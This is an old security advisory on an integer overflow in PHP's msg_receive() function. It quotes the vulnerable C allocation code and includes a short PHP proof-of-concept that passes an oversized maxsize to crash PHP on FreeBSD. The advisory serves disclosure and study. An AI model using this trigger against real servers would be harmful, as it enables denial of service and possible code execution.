BACK

CREDIT

POC or EXPLOIT

REFERENCES






Sat, 31 Mar 2007

Summary

The maxsize parameter of the msg_receive() function is used without any check in a memory allocation statement. Due to a possible interger overflow this can result in a too small memory buffer being allocated which leads to an exploitable buffer overflow. However on linux the buffer overflow will not occur, because the internal msgrcv() function will not accept a negative maxsize. On for example FreeBSD the bug was proven exploitable.

Affected versions

Affected are PHP 4 < 4.4.5 and PHP 5 < 5.2.1

Detailed information

The PHP function msg_receive() does not perform any check on the maxsize parameter and uses it directly within a memory allocation which can result in an integer overflow. The vulnerable code looks like this.

PHP_FUNCTION(msg_receive)
{
    ...
    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlzlz|blz",
                &queue, &desiredmsgtype, &out_msgtype, &maxsize,
                &out_message, &do_unserialize, &flags, &zerrcode) == FAILURE) {
        return;
    }
    ...
    messagebuffer = (struct php_msgbuf *) emalloc(sizeof(struct php_msgbuf) + maxsize);

    result = msgrcv(mq->id, messagebuffer, maxsize, desiredmsgtype, realflags);

Because of this integer overflow a maxsize of for example -1 will result in a buffer overflow if the internal msgrcv() function works with a negative maxsize. During our tests it seemed like linux is rejecting the -1. However on FreeBSD the overflow occurs and is exploitable.

Proof of concept, exploit or instructions to reproduce

To test for this vulnerability just try the following piece of code.

<?php

  $MSGKEY = 519052;

  $msg_id = msg_get_queue ($MSGKEY, 0600);

  if (!msg_send ($msg_id, 1, 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH', false, true, $msg_err))
    echo "Msg not sent because $msg_err\n";

  if (msg_receive ($msg_id, 1, $msg_type, 0xffffffff, $_SESSION, false, 0, $msg_error)) {
    echo "$msg\n";
  } else {
    echo "Received $msg_error fetching message\n";
    break;
  }

  msg_remove_queue ($msg_id);

?>

This little POC will overflow the buffer and crash on for example FreeBSD. A code execution exploit will be added to this site in the future. So check back soon.

Notes

In combination with the final vulnerability of the MOPB this can also be exploited without using the interger overflow by supplying the highest positive number as max_length parameter. In that case the exploit works against linux, too.